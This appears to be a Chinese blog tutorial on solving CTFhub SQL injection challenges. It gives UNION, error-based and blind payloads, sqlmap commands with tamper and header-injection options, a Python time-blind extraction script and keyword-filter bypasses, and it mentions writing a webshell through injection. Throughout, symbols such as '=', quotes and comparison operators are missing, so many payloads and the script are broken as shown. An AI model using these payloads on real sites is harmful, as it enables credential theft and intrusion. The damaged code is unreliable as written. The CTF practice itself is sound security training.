【CTF实战】CTFhub技能树-Web-SQL注入攻防全解析

张开发
2026/5/21 1:30:03 15 分钟阅读
【CTF实战】CTFhub技能树-Web-SQL注入攻防全解析
1. SQL注入基础与CTF实战入门第一次接触CTF比赛中的SQL注入题目时我完全被那些看似神秘的注入语句搞懵了。直到后来才发现SQL注入其实就像是用一种特殊的方式和数据库聊天——只不过这种聊天方式能让数据库说出它不该说的秘密。在CTF比赛中Web安全方向的SQL注入题目几乎每场必出而CTFhub平台上的技能树训练更是新手入门的绝佳选择。SQL注入的核心原理很简单当网站没有对用户输入进行严格过滤时攻击者可以通过构造特殊的输入让后端数据库执行非预期的SQL命令。举个例子一个简单的登录页面正常情况下执行的SQL可能是SELECT * FROM users WHERE usernameadmin AND password123456但如果我们在用户名输入admin --密码随便填SQL就变成了SELECT * FROM users WHERE usernameadmin -- AND passwordxxx--在SQL中是注释符这样就能绕过密码验证直接登录管理员账号。这就是最基础的SQL注入攻击。在CTF比赛中SQL注入题目通常会设置各种障碍和限制我们需要根据不同的场景采用不同的注入技术。CTFhub技能树将这些技术分成了整数型、字符型、报错注入、布尔盲注、时间盲注等多个类别每个类别都有其独特的解题思路和技巧。2. 整数型注入实战解析2.1 确定注入点与闭合方式整数型注入是CTF中最常见的题型之一。我清楚地记得第一次做CTFhub上的整数型注入题时花了大半天才搞明白闭合方式的重要性。题目通常会在URL中使用类似id1这样的参数我们的第一步就是确认这个参数是否存在注入漏洞。测试方法很简单依次尝试以下payloadid1 and 11 -- id1 and 12 --如果第一个返回正常页面而第二个返回异常或空白基本可以确定存在注入漏洞。这里的关键是--后面的空格不能少否则注释可能不生效。2.2 获取数据库信息确认注入点后下一步是获取数据库结构信息。我常用的顺序是爆库名id1 union select 1,database() --爆表名id1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --爆列名id1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --获取数据id1 union select 1,group_concat(username,:,password) from users --在实际操作中我遇到过一个坑CTFhub的题目有时会限制返回的列数。比如题目原本查询返回2列但我的union select却写了3列这样就会报错。所以一定要先用order by确定列数id1 order by 3 -- // 测试返回列数3. 字符型注入与sqlmap实战3.1 手工注入与自动化工具的选择字符型注入与整数型的主要区别在于参数需要用引号闭合。比如id1 and 11 -- 刚开始我总是忘记闭合引号导致注入失败。后来养成了习惯看到参数是字符串类型就先加个单引号测试。虽然手工注入能加深理解但在实际CTF比赛中合理使用工具能大幅提高效率。sqlmap是我最常用的SQL注入工具特别是对于字符型注入它可以自动识别闭合方式。基本使用命令如下sqlmap -u http://example.com/page?id1 --dbs # 爆库 sqlmap -u http://example.com/page?id1 -D dbname --tables # 爆表 sqlmap -u http://example.com/page?id1 -D dbname -T tablename --columns # 爆列 sqlmap -u http://example.com/page?id1 -D dbname -T tablename -C columnname --dump # 爆数据3.2 sqlmap的常见问题解决在CTFhub的一道题目中我遇到了sqlmap能爆出库、表、列信息但就是无法dump出数据的情况。经过反复测试发现这是因为题目对某些特殊字符做了过滤。解决方法是在sqlmap中使用--tamper参数调用脚本绕过过滤sqlmap -u http://example.com/page?id1 --tamperspace2comment另一个常见问题是当页面使用JSON返回数据时需要用--prefix和--suffix指定注入位置sqlmap -u http://example.com/page --data{id:1} --prefix --suffix --level54. 报错注入与盲注技术4.1 报错注入的利用技巧报错注入是我个人最喜欢的技术之一因为它能直接让数据库说出错误信息。常用的报错函数有extractvalue(1,concat(0x7e,(select database()),0x7e)) updatexml(1,concat(0x7e,(select user()),0x7e),1)在CTFhub的一道题目中我通过以下payload成功获取了flagid1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) --这里0x7e是波浪号~的十六进制用于在错误信息中标记出我们想要的数据。4.2 布尔盲注与时间盲注当页面没有明显回显时就需要使用盲注技术。布尔盲注通过判断页面返回的真假来推断数据id1 and ascii(substr(database(),1,1))100 --时间盲注则更隐蔽通过响应时间判断条件真假id1 and if(ascii(substr(database(),1,1))100,sleep(5),0) --在CTFhub的一道时间盲注题目中我写了个Python脚本自动化这个过程import requests import time url http://ctfhub.com/challenge result for i in range(1,50): for j in range(32,127): payload f1 and if(ascii(substr(database(),{i},1)){j},sleep(2),0) -- start time.time() requests.get(url, params{id:payload}) if time.time() - start 2: result chr(j) print(result) break5. HTTP头注入实战5.1 Cookie注入的抓包与修改HTTP头注入是CTF中常见的考点其中Cookie注入尤为典型。我通常使用Burp Suite进行这类题目的测试配置浏览器代理拦截HTTP请求发送请求到Repeater模块修改Cookie值进行注入测试一个实际的Cookie注入payload如下Cookie: id1 and 11 --测试时要特别注意原始Cookie的格式有些题目会在Cookie值前后加引号或其他字符。5.2 UA和Referer注入的特别之处User-Agent和Referer注入的原理与Cookie注入类似但容易被忽略。在CTFhub的一道UA注入题中我一开始怎么试都不成功后来发现需要把注入语句放在UA的最后User-Agent: Mozilla/5.0 (注入语句)使用sqlmap测试这类注入时需要指定level参数sqlmap -u http://example.com --level3 --risk3 --user-agent* --techniqueUReferer注入则需要level5sqlmap -u http://example.com --level5 --risk3 --referer* --techniqueR6. SQL注入防御与CTF解题技巧6.1 常见防御手段绕过现代Web应用通常会采用各种防御措施CTF题目也会模拟这些场景。常见的防御和绕过方法包括关键字过滤使用大小写混合、注释符分割、编码等方式绕过id1 UNI/**/ON SEL/**/ECT 1,2,3 --WAF防护使用非常规语句或HTTP参数污染绕过预编译语句寻找非预编译的二次查询点6.2 CTF解题的实用建议根据我的参赛经验CTF中的SQL注入题目有几个解题要点先确定注入类型和闭合方式测试过滤规则找出可用的函数和关键字优先尝试联合查询不行再考虑报错或盲注善用sqlmap但不要完全依赖手工注入能力很重要注意题目描述和页面源码中的提示flag可能藏在意想不到的地方在最近一次比赛中我遇到一道题flag不在数据库里而是需要通过SQL注入写webshell到服务器上。这提醒我们CTF中的SQL注入可能只是整个攻击链的第一步需要灵活运用各种技术才能最终获取flag。

更多文章